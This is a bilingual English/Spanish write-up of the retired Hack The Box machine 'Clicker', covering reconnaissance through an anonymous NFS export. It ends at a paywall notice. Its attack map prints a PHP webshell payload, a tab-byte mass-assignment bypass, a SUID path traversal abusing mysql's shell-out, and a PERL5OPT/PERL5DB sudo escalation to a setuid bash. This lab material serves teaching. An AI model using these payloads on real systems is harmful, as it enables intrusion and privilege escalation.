Clicker
Executive summary — Clicker is a Linux box whose entire chain lives in application logic flaws, with not a single CVE involved: a poorly restricted NFS export leaks the web app's source code, which exposes a mass-assignment bug exploitable with a single tab byte to escalate to admin, and from there an export feature that writes a file with an attacker-controlled extension and content hands over direct RCE. The pivot to
jackgoes through a path traversal in a SUID binary that abusesmysql's shell-out syntax (\!), and the final escalation to root comes from a Perl debugger injection via environment variables thatsudois allowed to pass through unfiltered.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 22.04) |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.75.78 |
| Services | 22 (SSH), 80 (Apache 2.4.52 → clicker.htb), 111/2049 (NFS) |
| user.txt | jack |
Attack map
NFS /mnt/backups ── clicker.htb_backup.zip (full site source code)
│ save_game.php: role%09=Admin (the tab byte evades the filter
│ on the "role" key; PHP does not normalize it to "_" the way it
│ does with spaces and dots)
▼
Admin ── export.php: extension=php + nickname=<?php system($_GET[0]);?> ──▶ www-data webshell
│ SUID execute_query 5 ../../../tmp/x.sql
│ (strncpy truncates the filename to 20 bytes; it just fits)
│ x.sql: "\!" (mysql runs a shell command with the process's
│ euid, jack)
▼
jack (SSH key dropped into authorized_keys) ── user.txt
│ sudo -l: (root) SETENV NOPASSWD /opt/monitor.sh
│ monitor.sh calls xml_pp (a Perl script) and only clears
│ PERL5LIB/PERLLIB, not PERL5OPT/PERL5DB
▼
[ROOT] PERL5OPT=-d PERL5DB='system(...)' ── setuid copy of
/bin/bash ──▶ root.txt
1. Reconnaissance and NFS
nmap -p- --min-rate 5000 10.129.75.78 # ← only 111 shows up initially (firewall)
nmap -p- -sT --min-rate 2000 10.129.75.78 # ← reveals 22, 80, 111, 2049 (NFS)
A first SYN scan showed only
rpcbind(111); a later full-connect scan (-sT) revealed SSH, HTTP and NFS. It's worth re-scanning with-sTwhenever a SYN result looks anomalous or incomplete — a firewall can respond differently to a half-open SYN than to a fully completed TCP handshake.
showmount -e 10.129.75.78 # /mnt/backups *
mount -t nfs -o vers=3 10.129.75.78:/mnt/backups /mnt/clicker_nfs
# clicker.htb_backup.zip → full website source code
The NFS export has no host restriction and requires no authentication (vers=3 with an anonymous mount), and dumps a backup with the complete PHP source of clicker.htb straight away: the attack stops being black-box and turns into source-code review.
Resumen ejecutivo — Clicker es una máquina Linux cuya cadena entera vive en fallos de lógica de aplicación, sin un solo CVE de por medio: un export NFS mal restringido filtra el código fuente de la web, lo que permite encontrar un mass assignment explotable con un simple tabulador para escalar a administrador, y desde ahí una función de exportación que escribe un archivo con extensión y contenido controlados por el atacante entrega RCE directa. La escalada a
jackpasa por un path traversal en un binario SUID que abusa de la sintaxis de shell-out demysql(\!), y la escalada final a root por una inyección del depurador de Perl vía variables de entorno quesudopermite pasar sin limpiar.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 22.04) |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.75.78 |
| Servicios | 22 (SSH), 80 (Apache 2.4.52 → clicker.htb), 111/2049 (NFS) |
| user.txt | jack |
Mapa del ataque
NFS /mnt/backups ── clicker.htb_backup.zip (código fuente de la web)
│ save_game.php: role%09=Admin (el tabulador evade el filtro de
│ la clave "role"; PHP no lo normaliza a "_" como sí hace con
│ espacios y puntos)
▼
Admin ── export.php: extension=php + nickname=<?php system($_GET[0]);?> ──▶ webshell www-data
│ SUID execute_query 5 ../../../tmp/x.sql
│ (strncpy trunca el nombre de archivo a 20 bytes; justo caben)
│ x.sql: "\!" (mysql ejecuta un comando de shell con el euid del
│ proceso, jack)
▼
jack (clave SSH en authorized_keys) ── user.txt
│ sudo -l: (root) SETENV NOPASSWD /opt/monitor.sh
│ monitor.sh invoca xml_pp (script Perl) y solo limpia
│ PERL5LIB/PERLLIB, no PERL5OPT/PERL5DB
▼
[ROOT] PERL5OPT=-d PERL5DB='system(...)' ── copia de /bin/bash con
setuid ──▶ root.txt
1. Reconocimiento y NFS
nmap -p- --min-rate 5000 10.129.75.78 # ← inicialmente solo 111 (firewall)
nmap -p- -sT --min-rate 2000 10.129.75.78 # ← revela 22, 80, 111, 2049 (NFS)
Un primer escaneo SYN mostró únicamente
rpcbind(111); un escaneo posterior de conexión completa (-sT) reveló SSH, HTTP y NFS. Vale la pena reescanear con-sTcuando un resultado SYN parece anómalo o incompleto — un firewall puede responder de forma distinta a un SYN a medio camino que a una conexión TCP completa.
showmount -e 10.129.75.78 # /mnt/backups *
mount -t nfs -o vers=3 10.129.75.78:/mnt/backups /mnt/clicker_nfs
# clicker.htb_backup.zip → código fuente completo de la web
El export NFS no restringe por host ni exige autenticación (vers=3 con montaje anónimo), y vuelca directamente un backup con el código PHP íntegro de clicker.htb: la auditoría del ataque deja de ser caja negra y pasa a ser revisión de código fuente.
Root Access unlocks the content you can't see — everything else on the site is already open.
See Root Access plansNo account? Create one free then upgrade from your console.
Root Access desbloquea el contenido que no puedes ver — todo lo demás de la web ya está abierto.
Ver planes de Root Access¿Sin cuenta? Crea una gratis y luego mejora desde tu consola.